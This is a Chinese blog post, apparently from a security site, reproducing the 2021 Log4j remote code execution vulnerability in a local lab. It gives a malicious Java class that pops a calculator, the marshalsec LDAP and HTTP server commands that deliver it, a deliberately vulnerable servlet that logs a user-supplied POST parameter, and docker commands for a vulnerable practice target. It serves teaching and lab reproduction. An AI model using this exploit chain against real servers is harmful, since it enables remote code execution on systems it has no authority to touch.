Log4J 漏洞复现+漏洞靶场

VSole2021-12-10 15:36:47

前言

昨天晚上朋友圈算是过了年了,一个log4j大伙都忙了起来,看着朋友圈好久没这么热闹了。Apache 的这个log4j这个影响范围的确是大,包括我自己做开发的时候也会用到log4j,这就很尴尬了。

大家也不要在公网上疯狂测试了,我给大家带来了漏洞靶场,攻击视频在下文,一步一步教你。

漏洞原理我改天会详细的写一篇文章出来,今天就主要是复现一下漏洞。

昨晚爆出的log4j rce 是通过lookup触发的漏洞,但jdk1.8.191以上默认不支持ldap协议,对于高版本jdk,则需要一定的依赖。不过为了给大家最简单的说明,我这里还是用jdk1.8.144的版本来运行。

这个漏洞和fastjson的漏洞利用如出一辙,首先需要编写一个恶意类。

public class Exploit {
  public Exploit(){
    try{
      // 要执行的命令
      String[] commands = {"open", "/System/Applications/Calculator.app"};
      Process pc = Runtime.getRuntime().exec(commands);
      pc.waitFor();
   } catch(Exception e){
      e.printStackTrace();
   }
 }
  public static void main(String[] argv) {
    Exploit e = new Exploit();
 }
}

这里是弹出计算器

把这个类编译之后会得到一个Exploit.class,然后需要在当前目录下启动一个web服务,

python3 -m http.server 8100

然后用marshalsec IDAP服务,项目地址:https://github.com/mbechler/marshalsec

java -cp /Users/fengxuan/Downloads/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8100/#Exploit"

漏洞类

package com.evalshell.webstudy;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.*;
import javax.servlet.ServletException;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
@WebServlet(name = "helloServlet", value = "/hello-fengxuan")
public class HelloServlet extends HttpServlet {
  private String message;
  private static final Logger logger = LogManager.getLogger(HelloServlet.class);
  public void init() {
    message = "Hello World!";
 }
  public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
    response.setContentType("text/html");
    response.setHeader("Content-Type", "text/html; charset=utf-8");
    System.out.println(request.getQueryString());
    // Hello
    PrintWriter out = response.getWriter();
    out.println("");
    out.println("你好,兄弟,请用post请求来搞我!");
    out.println("");
 }
  protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    String name = req.getParameter("c");
    System.out.println(name);
    logger.error(name);
    resp.setContentType("text/html");
    resp.setHeader("Content-Type", "text/html; charset=utf-8");
    PrintWriter out = resp.getWriter();
    out.println("");
    out.println("
可恶!又被你装到了!
");
    out.println("");
 }
  public void destroy() {
 }
}

最后运行

漏洞靶场

为了互联网的安全,也为了给大家学习的环境,有很多同学不知道如何复现,我搭建了一个漏洞靶场,我编写的docker-compose.yml

地址是:https://github.com/fengxuangit/log4j_vuln

或者直接运行命令

docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln 
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh

然后访问你的8080的端口, 访问 http://127.0.0.1:8080/webstudy/ 就可以了, post的参数为c

按照视频教程玩就行。你的靶场你自己随便玩!


漏洞log4j
本作品采用《CC 协议》,转载必须注明作者和本文链接
2021年12月29日,360漏洞云团队监测到Apache官方发布了安全更新,修复了一个Apache Log4j2组件中存在的远程代码执行漏洞漏洞编号:CVE-2021-44832,漏洞威胁等级:中危,漏洞评分:6.6。
Spring Cloud 突发漏洞 Log4j2 的核弹级漏洞刚告一段落,Spring Cloud Gateway 又突发高危漏洞,又得折腾了。。。 2022年3月1日,Spring官方发布了关于Spring Cloud Gateway的两个CVE漏洞,分别为CVE-2022-22946与CVE-2022-22947: 版本/分支/tag:3.4.X
Apache Log4j2是一款优秀的Java日志框架,最近爆出了一个jndi注入的漏洞,影响面非常广,各大厂商都被波及。Log4j2作为日志记录的第三方库,被广泛得到使用,这次主要分享一下,最近的一些调试记录。
漏洞探测辅助平台
2022-12-22 09:14:38
可帮助检测漏洞log4j2 fastjson ruoyi Spring RCE Blind SQL Bland XXE. 我习惯于将服务用tmux放到后台运行2、启动webserver安装python依赖注意,需要用python3.7及以上版本,否则会有兼容性问题,多python推荐使用condacd cola_dnslog. 至此,三端已经全部开启!
可帮助检测漏洞log4j2 fastjson ruoyi Spring RCE Blind SQL Bland XXE. 我习惯于将服务用tmux放到后台运行2、启动webserver安装python依赖注意,需要用python3.7及以上版本,否则会有兼容性问题,多python推荐使用condacd cola_dnslog. 至此,三端已经全部开启!
明确各级网络安全责任人。充分利用云原生技术,推进以微服务模式提供各类安全能力组件接口,推进数字电网安全“中枢”所有专业功能组件分层解耦和接口标准化,建立开放生态,支持后续功能叠加演进。增强产品服务供应链入网安全。提升已入网产品、服务供应链应急能力。实战化锤炼网络安全队伍,加强应急指挥与处置能力。
RCE 攻击包括通过使用系统某个级别的漏洞在系统中注入和执行恶意代码。这允许攻击者在系统中执行命令、窃取、损坏、加密数据等。
2021年,注定是人类历史上极不平凡的一年。新冠疫情不断反复,全球经济也在面临“灾后重建”的种种挑战。同样的,在互联网领域领域,“变种病毒”还未被扑灭,新型漏洞就已经开始肆虐。2021 年最后一个月,全球互联网爆发史诗级高危漏洞Log4J 漏洞,致使互联网每小时遭到数百万次攻击,让 2021 年成为网络安全史上破纪录的一年。Check Point Research (CPR) 报告显示:2021
2023年四大“安全债”
2023-12-20 16:27:23
即将过去的2023年,网络安全、云安全、应用安全、数据安全领域暴露的诸多“安全债”中,有四大债务不但未能充分缓解,反而有在新的一年“爆雷”的风险。
远程劳动力、混合云和零信任趋势正在推动安全团队专注于硬件辅助安全策略,以更好地保护因新冠病毒而发生重大变化的攻击面。为了应对新的挑战,硬件辅助安全被视为获得IT生态系统可见性、管理数字资产以及降低安全团队和计算成本的有效的创新方
VSole
网络安全专家